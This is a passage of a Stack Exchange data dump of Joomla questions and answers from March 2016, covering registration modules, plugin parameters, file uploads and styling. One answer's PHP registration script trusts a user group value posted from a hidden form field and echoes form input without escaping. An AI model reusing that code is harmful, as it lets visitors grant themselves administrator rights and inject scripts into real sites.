and toggle Clean JScript, Clean HTML, and Clean CSS off&lt;/li&gt;&#xA;&lt;li&gt;Under the Menu Assignments tab choose the 2 menu items you want for your User Registration and Partner Registration&lt;/li&gt;&#xA;&lt;li&gt;Save and Close this Module for now&lt;/li&gt;&#xA;&lt;li&gt;Go to Users &gt; Groups&lt;/li&gt;&#xA;&lt;li&gt;Get the User Group IDs for the 2 groups you setup for your users and partners&lt;/li&gt;&#xA;&lt;li&gt;Go to Menu &gt; Your Main Menu&lt;/li&gt;&#xA;&lt;li&gt;Get the Menu Item IDs for the 2 menu items you have assigned the module to&lt;/li&gt;&#xA;&lt;li&gt;Go back to Extensions &gt; Modules and edit the registration module you created.&lt;/li&gt;&#xA;&lt;li&gt;Change the $Itemid variable to reflect the first menu Item that you have assigned the module to, the second will be automatic.&lt;/li&gt;&#xA;&lt;li&gt;Change the $userGroupAssignment variables to match the Group IDs you created for your users and partners. (An ID of 2 is the default registered user group ID)&lt;/li&gt;&#xA;&lt;li&gt;If you want you can change the messages that are displayed and the redirect page as well. You may want to style your form so that it is a bit prettier as well. Change the $formName variables to whatever you want the form name to display as well.&lt;/li&gt;&#xA;&lt;li&gt;Save the module and close it.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Go to your site and test registration for your registered users and partners&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;//GET APPLICATION&#xA;$app = JFactory::getApplication();&#xA;&#xA;//GET POSTED DATA&#xA;$JInput = JFactory::getApplication()-&amp;gt;input;&#xA;&#xA;//GET ACTIVE MENU ITEM ID&#xA;$Itemid = JSite::getMenu()-&amp;gt;getActive()-&amp;gt;id;&#xA;&#xA;//SET THE GROUP ASSIGNMENTS BELOW TO YOUR CUSTOM GROUP IDS FROM USERS &amp;gt; GROUPS&#xA;//GET THE ITEMID OF THE FIRST MENU ITEM FROM YOUR MENU MANAGER, THE SECOND ID ISN'T NEEDED&#xA;if($Itemid == '101'){&#xA;    $userGroupAssignment = '2';&#xA;    $formName = 'User Registration';&#xA;}else{&#xA;    $userGroupAssignment = '10';&#xA;    $formName = 'Partner Registration';&#xA;}&#xA;&#xA;//THIS CODE EXPECTS THAT YOU ARE USING RECAPTCHA FOR SECURITY VERIFICATION&#xA;JPluginHelper::importPlugin('captcha');&#xA;$dispatcher = JDispatcher::getInstance();&#xA;$dispatcher-&amp;gt;trigger('onInit','dynamic_recaptcha_1');&#xA;$captchaCode = $JInput-&amp;gt;get('recaptcha_response_field', '', 'string');&#xA;&#xA;//GET POSTED REGISTRATION FORM DATA&#xA;$form = $JInput-&amp;gt;get('jform','','array');&#xA;&#xA;//ADD JOOMLA USER FUNCTION&#xA;function addJoomlaUser($name, $username, $email, $password, $password2, $userGroupAssignment)&#xA;{&#xA;    jimport('joomla.user.helper');&#xA;    $data = array(&#xA;        &quot;name&quot;=&amp;gt;$name,&#xA;        &quot;username&quot;=&amp;gt;$username,&#xA;        &quot;password&quot;=&amp;gt;$password,&#xA;        &quot;password2&quot;=&amp;gt;$password2,&#xA;        &quot;email&quot;=&amp;gt;$email,&#xA;        &quot;block&quot;=&amp;gt;0,&#xA;        &quot;sendEmail&quot;=&amp;gt;0,&#xA;        &quot;requireReset&quot;=&amp;gt;0,&#xA;        &quot;groups&quot;=&amp;gt;array($userGroupAssignment)&#xA;    );&#xA;&#xA;    $user = new JUser;&#xA;    if(!$user-&amp;gt;bind($data)){&#xA;        throw new Exception(&quot;Could not bind data. Error: &quot; . $user-&amp;gt;getError());&#xA;    }&#xA;    if(!$user-&amp;gt;save()){&#xA;        throw new Exception(&quot;Could not register user. Error: &quot; . $user-&amp;gt;getError());&#xA;    }&#xA;}&#xA;&#xA;&#xA;//CHECK IF THE FORM HAS BEEN SUBMITTED, IF NOT LOAD THE FORM&#xA;if(isset($form['registerUser']) &amp;amp;&amp;amp; $form['registerUser'] == 'registerNewUser'){&#xA;&#xA;    $res = $dispatcher-&amp;gt;trigger('onCheckAnswer',$captchaCode);&#xA;    if(!$res[0]){&#xA;        //QUEUE FAILED MESSAGE&#xA;        JFactory::getApplication()-&amp;gt;enqueueMessage('An invalid Captcha code was submitted and registration has failed. Please try again.', 'error');&#xA;    }else{&#xA;        //REGISTER THE USER&#xA;        addJoomlaUser($form['name'],$form['username'],$form['email'],$form['password1'],$form['password2'],$form['userGroup']);&#xA;&#xA;        //QUEUE SUCCESS MESSAGE&#xA;        JFactory::getApplication()-&amp;gt;enqueueMessage('Thank you '.$form['name'].', registration was successful. You may now login to your account.', 'message');&#xA;&#xA;        //REDIRECT TO THE HOME PAGE&#xA;        $app-&amp;gt;redirect(JUri::root());&#xA;    }&#xA;}else{&#xA;    JHtml::_('behavior.formvalidation');&#xA;    ?&amp;gt;&#xA;    &amp;lt;h1&amp;gt;&amp;lt;?php echo $formName;?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;    &amp;lt;form action=&quot;&amp;lt;?php echo JUri::current();?&amp;gt;&quot; method=&quot;post&quot; name=&quot;adminForm&quot; id=&quot;adminForm&quot; class=&quot;form-validate&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;name&quot;&amp;gt;Name&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input id=&quot;name&quot; type=&quot;text&quot; name=&quot;jform[name]&quot; required value=&quot;&amp;lt;?php echo $form['name'];?&amp;gt;&quot; /&amp;gt;&#xA;        &amp;lt;label for=&quot;username&quot;&amp;gt;Username&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input id=&quot;username&quot; type=&quot;text&quot; name=&quot;jform[username]&quot; required value=&quot;&amp;lt;?php echo $form['username'];?&amp;gt;&quot; /&amp;gt;&#xA;        &amp;lt;label for=&quot;email&quot;&amp;gt;Email Address&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input id=&quot;email&quot; type=&quot;text&quot; name=&quot;jform[email]&quot; value=&quot;&amp;lt;?php echo $form['email'];?&amp;gt;&quot; required /&amp;gt;&#xA;        &amp;lt;label for=&quot;password1&quot;&amp;gt;Password&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input id=&quot;password1&quot; required type=&quot;password&quot; name=&quot;jform[password1]&quot; value=&quot;&quot; /&amp;gt;&#xA;        &amp;lt;label for=&quot;password2&quot;&amp;gt;Verify Password&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input id=&quot;password2&quot; required type=&quot;password&quot; name=&quot;jform[password2]&quot; value=&quot;&quot; /&amp;gt;&#xA;        &amp;lt;div id=&quot;dynamic_recaptcha_1&quot; style=&quot;width:350px; margin-bottom:15px;&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;jform[registerUser]&quot; value=&quot;registerNewUser&quot; /&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;jform[userGroup]&quot; value=&quot;&amp;lt;?php echo $userGroupAssignment;?&amp;gt;&quot; /&amp;gt;&#xA;        &amp;lt;input type=&quot;submit&quot; value=&quot;Register Now&quot; /&amp;gt;&#xA;    &amp;lt;/form&amp;gt;&#xA;&amp;lt;?php }?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;As I said, I tested this script already and it works. You should be able to tweak anything else you need to do. If you need clarification on how something works in this script or with Flexi Custom Code Module just ask.&lt;/p&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2016-03-17T08:42:17.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15721" PostTypeId="1" CreationDate="2016-03-17T08:50:43.373" Score="0" ViewCount="2843" Body="&lt;p&gt;In my domain, SSL is integrated via LetsEncrypt certificate and activated for the whole site in .htaccess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An external page is linked in Menu with IFrame Wrapper.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This page is not displayed, even if I turn off SSL on the link in the meta tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have an idea?&lt;/p&gt;&#xA;" OwnerUserId="8023" LastEditorUserId="1629" LastEditDate="2016-06-14T15:34:06.300" LastActivityDate="2016-06-14T15:50:11.073" Title="IFrame Wrapper and SSL" Tags="|joomla-3.4|ssl|wrapper|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15722" PostTypeId="1" CreationDate="2016-03-17T09:27:26.390" Score="2" ViewCount="370" Body="&lt;p&gt;Well I got a module that I'm using with a background-color: &quot;Color1&quot;, I'm using it almost on every page on my site, but there is a particular page where I want it to be shown with a background-color: &quot;Color2&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a possible way to do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/qllzy.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qllzy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8024" LastEditorUserId="3650" LastEditDate="2016-03-17T09:34:05.443" LastActivityDate="2016-03-18T16:49:04.400" Title="How do i Style a module to appear in a different color on a particular page" Tags="|joomla-3.x|css|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15723" PostTypeId="2" ParentId="15722" CreationDate="2016-03-17T10:19:20.377" Score="4" Body="&lt;p&gt;Two ways for this situation - &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to the menu where you have to add &quot;Color2&quot; and go to Page Display tab. There you will see an option for &lt;strong&gt;Page Class&lt;/strong&gt; just add the page class and then add css for the module including this page class. &lt;/li&gt;&#xA;&lt;li&gt;You can replicate the module and only assign it to the menu where you want it. Now go to the module, open Advanced tab and add &lt;strong&gt;Module Class Suffix&lt;/strong&gt; this will add a css class in you module.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3637" LastActivityDate="2016-03-17T10:19:20.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15724" PostTypeId="2" ParentId="15363" CreationDate="2016-03-17T11:04:54.397" Score="2" Body="&lt;p&gt;Answering this based on my comment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;lastvisitDate&lt;/code&gt; is already stored in the &lt;code&gt;JUser&lt;/code&gt;, object so you can access it like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$id   = 1;&#xA;$user = JFactory::getUser($id);&#xA;echo $user-&amp;gt;lastvisitDate;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-03-17T11:04:54.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15725" PostTypeId="1" AcceptedAnswerId="15726" CreationDate="2016-03-17T11:05:35.570" Score="2" ViewCount="73" Body="&lt;p&gt;New to php and plugin building. I am a front end guy but need to learn templates building in Joomla. I have a small one working that gives you the ability to insert and change some text in the function &lt;em&gt;onContentAfterTitle&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class plgContentmyplugin extends JPlugin&#xA;    {&#xA;public function onContentAfterTitle($context, $article, $params,  $limitstart)&#xA;{&#xA;    if ($this-&amp;gt;params-&amp;gt;get('alt-text')) {&#xA;        return $this-&amp;gt;params-&amp;gt;get('alt-text');&#xA;    } else {&#xA;        return &quot;&amp;lt;p&amp;gt;Hello World!&amp;lt;/p&amp;gt;&quot;;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I am understanding that the XML determines the backend options in the admin control panel. Then using the php to display it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to be able to extend this plugin, for mostly learning purposes. I have some XML displaying options to change font colour and size. I am just a little unsure on the php and which function I should be calling in order to achieve that. Should I be using one of the other parameters? e.g. $context or $article? Any help would be much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;font-size&quot; type=&quot;list&quot; default=&quot;12&quot; description=&quot;What size font should the message use?&quot; label=&quot;Font size&quot;&amp;gt;&#xA;            &amp;lt;option value=&quot;8&quot;&amp;gt;8px&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;12&quot;&amp;gt;12px&amp;lt;/option&amp;gt;&#xA;             &amp;lt;option value=&quot;16&quot;&amp;gt;16px&amp;lt;/option&amp;gt;&#xA;        &amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Again my intention here is to expand my php knowledge and ultimately be able to build templates that other people can use. I have already worked out how to assemble and hack a template by just styling what is already there which would be totally acceptable but I am not sure how much the end user will need to change and the options they will need. Which does require building on the backend.&lt;/p&gt;&#xA;" OwnerUserId="8026" LastActivityDate="2016-03-17T11:15:16.473" Title="First Attempt PHP Plugin" Tags="|php|plugin|front-end|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15726" PostTypeId="2" ParentId="15725" CreationDate="2016-03-17T11:15:16.473" Score="4" Body="&lt;p&gt;So in your XML, you're using &lt;code&gt;name=&quot;font-size&quot;&lt;/code&gt; for one of the parameters. To call this in the plugin, you simply use the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$fontsize = $this-&amp;gt;params-&amp;gt;get('font-size');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also add a fallback (2nd argument) for the parameter if no value is assigned:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$fontsize = $this-&amp;gt;params-&amp;gt;get('font-size', 12);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-03-17T11:15:16.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15727" PostTypeId="1" CreationDate="2016-03-17T11:15:21.840" Score="1" ViewCount="3415" Body="&lt;p&gt;I am using a multiupload component/plugin for Joomla/VM, i have already modified the code to prevent it rename files (as my product image names contain the product name and sku). However, if the file already exists in the images folder, then the file is suffixed with (1). I would like to overwrite the file if it has the same name, or deleted it before uploading. I think i have found the function in the component which does this, but i'm relatively new to this and i'm not sure what part of code i need to modify? Here is the function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected function handle_file_upload($uploaded_file, $name, $size, $type, $error,&#xA;        $index = null, $content_range = null) {&#xA;        $file = new stdClass();&#xA;        $file-&amp;gt;name = $this-&amp;gt;get_file_name($name, $type, $index, $content_range);&#xA;        $file-&amp;gt;size = $this-&amp;gt;fix_integer_overflow(intval($size));&#xA;        $file-&amp;gt;type = $type;&#xA;        if ($this-&amp;gt;validate($uploaded_file, $file, $error, $index)) {&#xA;            $this-&amp;gt;handle_form_data($file, $index);&#xA;            $upload_dir = $this-&amp;gt;get_upload_path();&#xA;            if (!is_dir($upload_dir)) {&#xA;                mkdir($upload_dir, $this-&amp;gt;options['mkdir_mode'], true);&#xA;            }&#xA;            $file_path = $this-&amp;gt;get_upload_path($file-&amp;gt;name);&#xA;            $append_file = $content_range &amp;amp;&amp;amp; is_file($file_path) &amp;amp;&amp;amp;&#xA;                $file-&amp;gt;size &amp;gt; $this-&amp;gt;get_file_size($file_path);&#xA;            if ($uploaded_file &amp;amp;&amp;amp; is_uploaded_file($uploaded_file)) {&#xA;                // multipart/formdata uploads (POST method uploads)&#xA;                if ($append_file) {&#xA;                    file_put_contents(&#xA;                        $file_path,&#xA;                        fopen($uploaded_file, 'r'),&#xA;                        FILE_APPEND&#xA;                    );&#xA;                } else {&#xA;                    move_uploaded_file($uploaded_file, $file_path);&#xA;                }&#xA;            } else {&#xA;                // Non-multipart uploads (PUT method support)&#xA;                file_put_contents(&#xA;                    $file_path,&#xA;                    fopen('php://input', 'r'),&#xA;                    $append_file ? FILE_APPEND : 0&#xA;                );&#xA;            }&#xA;            $file_size = $this-&amp;gt;get_file_size($file_path, $append_file);&#xA;            if ($file_size === $file-&amp;gt;size) {&#xA;                $file-&amp;gt;url = $this-&amp;gt;get_download_url($file-&amp;gt;name);&#xA;                list($img_width, $img_height) = @getimagesize($file_path);&#xA;                if (is_int($img_width) &amp;amp;&amp;amp;&#xA;                        preg_match($this-&amp;gt;options['inline_file_types'], $file-&amp;gt;name)) {&#xA;                    $this-&amp;gt;handle_image_file($file_path, $file);&#xA;                }&#xA;            } else {&#xA;                $file-&amp;gt;size = $file_size;&#xA;                if (!$content_range &amp;amp;&amp;amp; $this-&amp;gt;options['discard_aborted_uploads']) {&#xA;                    unlink($file_path);&#xA;                    $file-&amp;gt;error = 'abort';&#xA;                }&#xA;            }&#xA;            $this-&amp;gt;set_additional_file_properties($file);&#xA;        }&#xA;        return $file;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;$name contains the filename of the image to be uploaded. Any help would be most appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best Regards&#xA;Donna&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Here are the 2 additional functions.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected function get_upload_path($file_name = null, $version = null) {&#xA;    $file_name = $file_name ? $file_name : '';&#xA;    if (empty($version)) {&#xA;        $version_path = '';&#xA;    } else {&#xA;        $version_dir = @$this-&amp;gt;options['image_versions'][$version]['upload_dir'];&#xA;        if ($version_dir) {&#xA;            return $version_dir.$this-&amp;gt;get_user_path().$file_name;&#xA;        }&#xA;        $version_path = $version.'/';&#xA;    }&#xA;    return $this-&amp;gt;options['upload_dir'].$this-&amp;gt;get_user_path()&#xA;        .$version_path.$file_name;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; protected function validate($uploaded_file, $file, $error, $index) {&#xA;        if ($error) {&#xA;            $file-&amp;gt;error = $this-&amp;gt;get_error_message($error);&#xA;            return false;&#xA;        }&#xA;        $content_length = $this-&amp;gt;fix_integer_overflow(intval(&#xA;            $this-&amp;gt;get_server_var('CONTENT_LENGTH')&#xA;        ));&#xA;        $post_max_size = $this-&amp;gt;get_config_bytes(ini_get('post_max_size'));&#xA;        if ($post_max_size &amp;amp;&amp;amp; ($content_length &amp;gt; $post_max_size)) {&#xA;            $file-&amp;gt;error = $this-&amp;gt;get_error_message('post_max_size');&#xA;            return false;&#xA;        }&#xA;        if (!preg_match($this-&amp;gt;options['accept_file_types'], $file-&amp;gt;name)) {&#xA;            $file-&amp;gt;error = $this-&amp;gt;get_error_message('accept_file_types');&#xA;            return false;&#xA;        }&#xA;        if ($uploaded_file &amp;amp;&amp;amp; is_uploaded_file($uploaded_file)) {&#xA;            $file_size = $this-&amp;gt;get_file_size($uploaded_file);&#xA;        } else {&#xA;            $file_size = $content_length;&#xA;        }&#xA;        if ($this-&amp;gt;options['max_file_size'] &amp;amp;&amp;amp; (&#xA;                $file_size &amp;gt; $this-&amp;gt;options['max_file_size'] ||&#xA;                $file-&amp;gt;size &amp;gt; $this-&amp;gt;options['max_file_size'])&#xA;            ) {&#xA;            $file-&amp;gt;error = $this-&amp;gt;get_error_message('max_file_size');&#xA;            return false;&#xA;        }&#xA;        if ($this-&amp;gt;options['min_file_size'] &amp;amp;&amp;amp;&#xA;            $file_size &amp;lt; $this-&amp;gt;options['min_file_size']) {&#xA;            $file-&amp;gt;error = $this-&amp;gt;get_error_message('min_file_size');&#xA;            return false;&#xA;        }&#xA;        if (is_int($this-&amp;gt;options['max_number_of_files']) &amp;amp;&amp;amp; (&#xA;                $this-&amp;gt;count_file_objects() &amp;gt;= $this-&amp;gt;options['max_number_of_files'])&#xA;            ) {&#xA;            $file-&amp;gt;error = $this-&amp;gt;get_error_message('max_number_of_files');&#xA;            return false;&#xA;        }&#xA;        list($img_width, $img_height) = @getimagesize($uploaded_file);&#xA;        if (is_int($img_width)) {&#xA;            if ($this-&amp;gt;options['max_width'] &amp;amp;&amp;amp; $img_width &amp;gt; $this-&amp;gt;options['max_width']) {&#xA;                $file-&amp;gt;error = $this-&amp;gt;get_error_message('max_width');&#xA;                return false;&#xA;            }&#xA;            if ($this-&amp;gt;options['max_height'] &amp;amp;&amp;amp; $img_height &amp;gt; $this-&amp;gt;options['max_height']) {&#xA;                $file-&amp;gt;error = $this-&amp;gt;get_error_message('max_height');&#xA;                return false;&#xA;            }&#xA;            if ($this-&amp;gt;options['min_width'] &amp;amp;&amp;amp; $img_width &amp;lt; $this-&amp;gt;options['min_width']) {&#xA;                $file-&amp;gt;error = $this-&amp;gt;get_error_message('min_width');&#xA;                return false;&#xA;            }&#xA;            if ($this-&amp;gt;options['min_height'] &amp;amp;&amp;amp; $img_height &amp;lt; $this-&amp;gt;options['min_height']) {&#xA;                $file-&amp;gt;error = $this-&amp;gt;get_error_message('min_height');&#xA;                return false;&#xA;            }&#xA;        }&#xA;        return true;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Edit 2: I have tried to add a file_exists() to the handle_file_upload function:&#xA;//Check if file exists&#xA;  $exist_file = $file_path.$uploaded_file;&#xA;    if file_exists($exist_file) {&#xA;       unlink($exist_file);&#xA;               }&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the files do not upload at all. I have spent hours on this and i really haven't a clue.&lt;/p&gt;&#xA;" OwnerUserId="7973" LastEditorUserId="7973" LastEditDate="2016-03-17T14:13:31.283" LastActivityDate="2016-07-15T22:24:02.600" Title="Overwrite file on upload if file exists" Tags="|php|joomla-3.4|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15728" PostTypeId="1" CreationDate="2016-03-17T14:29:43.403" Score="1" ViewCount="204" Body="&lt;p&gt;&lt;br /&gt;&lt;br /&gt;&#xA;I wonder if there is an option in K2 to allow any visitor of my page to add an article without registration? For security reasons there also should be a recaptcha for the submitting form enabled. So the article is ready to be published by an admin in backend. &lt;br /&gt;&lt;br /&gt;&#xA;Can anyone help me, please? I don't know which files I should edit to achieve this.&lt;br /&gt;&lt;br /&gt;Matthew.&lt;/p&gt;&#xA;" OwnerUserId="8028" LastActivityDate="2016-03-19T00:09:43.473" Title="K2 add item in frontend without registration" Tags="|k2|front-end|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15729" PostTypeId="2" ParentId="14616" CreationDate="2016-03-17T15:06:47.277" Score="1" Body="&lt;p&gt;You can pre-fill RSForm fields using URL parameters, there's a good guide available &lt;a href=&quot;https://www.rsjoomla.com/support/documentation/rsform-pro/frequently-asked-questions/how-do-i-pass-a-parameter-through-the-url-and-how-can-i-catch-it-.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. According to the guide this won't work on hidden fields, though:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt;&lt;br&gt;&#xA;  This syntax will not work for hidden fields. In such cases you can either, use the last method from this article or use a regular textbox which can be hidden through inline CSS by adding style=&quot;display:none;&quot; as an Additional Attribute (edit the textbox &gt; Attributes &gt; Additional Attributes).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Basically, you need to set up a regular textbox, hide it using CSS, then us URL parameters to add content to it, something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.example.com/index.php?option=com_rsform&amp;amp;formId=1&amp;amp;form[name_of_field]=NameOfImage&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In addition, you have to create a template override for the Phoca gallery view you're using in order to add the URL parameters as needed.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2016-03-17T15:06:47.277" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15730" PostTypeId="1" AcceptedAnswerId="15731" CreationDate="2016-03-17T15:37:48.600" Score="1" ViewCount="182" Body="&lt;p&gt;I'm looking for a Joomla 3 extension that requests new visitors to create an account in my site with a Popup.&#xA;I'd like to offer an e-book in exchange, so the popup should have an area to show how the e-book looks like and another area to register (or login, if the user already has an account).&#xA;If possible, this extension should also allow users to register/login using FB or Google.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen many extensions but none that does exactly this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone please advise?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="5250" LastActivityDate="2016-03-17T16:21:53.913" Title="Popup box asking users to register" Tags="|user|popup|" AnswerCount="1" CommentCount="0" ClosedDate="2016-03-18T14:47:37.447" ContentLicense="CC BY-SA 3.0" />
  <row Id="15731" PostTypeId="2" ParentId="15730" CreationDate="2016-03-17T16:21:53.913" Score="2" Body="&lt;p&gt;For this I'll combine two extensions: form builder and a tools to display a module in a modal&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start with the form builder like:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Chronoform  &lt;/li&gt;&#xA;&lt;li&gt;RS form  &lt;/li&gt;&#xA;&lt;li&gt;or your preferred form tools.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;See list of form extension : &lt;a href=&quot;http://extensions.joomla.org/tags/forms&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/tags/forms&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the form you can collect the user data and send the e-book&#xA;Only one condition, this tools should provide you a module to display the form&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use an other extension to display the module in a modal&#xA;&lt;a href=&quot;http://extensions.joomla.org/extension/mod-modal-box&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extension/mod-modal-box&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5378" LastActivityDate="2016-03-17T16:21:53.913" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15732" PostTypeId="2" ParentId="15716" CreationDate="2016-03-17T16:36:05.717" Score="1" Body="&lt;p&gt;K2 is not using cascade delete : &lt;a href=&quot;http://www.mysqltutorial.org/mysql-on-delete-cascade/&quot; rel=&quot;nofollow&quot;&gt;http://www.mysqltutorial.org/mysql-on-delete-cascade/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's is safe to run your query. Only trashed articles will be delete.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can and should do a backup of your table. This is a good practice.&lt;/p&gt;&#xA;" OwnerUserId="5378" LastActivityDate="2016-03-17T16:36:05.717" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15734" PostTypeId="2" ParentId="15727" CreationDate="2016-03-17T18:28:34.953" Score="2" Body="&lt;p&gt;If I am interpreting what the developer did here correctly this may work for you. These changes should be made in the first code you posted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jimport('joomla.filesystem.file');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Before this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$file = new stdClass();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And add this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$append_file = false;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$append_file = $content_range &amp;amp;&amp;amp; is_file($file_path) &amp;amp;&amp;amp;&#xA;            $file-&amp;gt;size &amp;gt; $this-&amp;gt;get_file_size($file_path);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then add this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(is_file($file_path)){&#xA;    JFile::delete($file_path);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Before this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;move_uploaded_file($uploaded_file, $file_path);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7730" LastEditorUserId="7730" LastEditDate="2016-03-17T20:36:25.783" LastActivityDate="2016-03-17T20:36:25.783" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15735" PostTypeId="1" CreationDate="2016-03-17T18:51:10.507" Score="2" ViewCount="92" Body="&lt;p&gt;I have recently installed the capulus joomla template. On the contact-form page I want to remove the headers&quot;Store Hours&quot; as well as configure the &quot;Lorem ipsum&quot; text under the Contact Form header (Please see image below circled in red).&#xA;How do I achieve this task?&#xA;I can't seem to find and edit the pages that contain the circled text.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/v80NK.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/v80NK.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8032" LastActivityDate="2016-04-17T13:18:30.040" Title="contact form headers" Tags="|templates|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
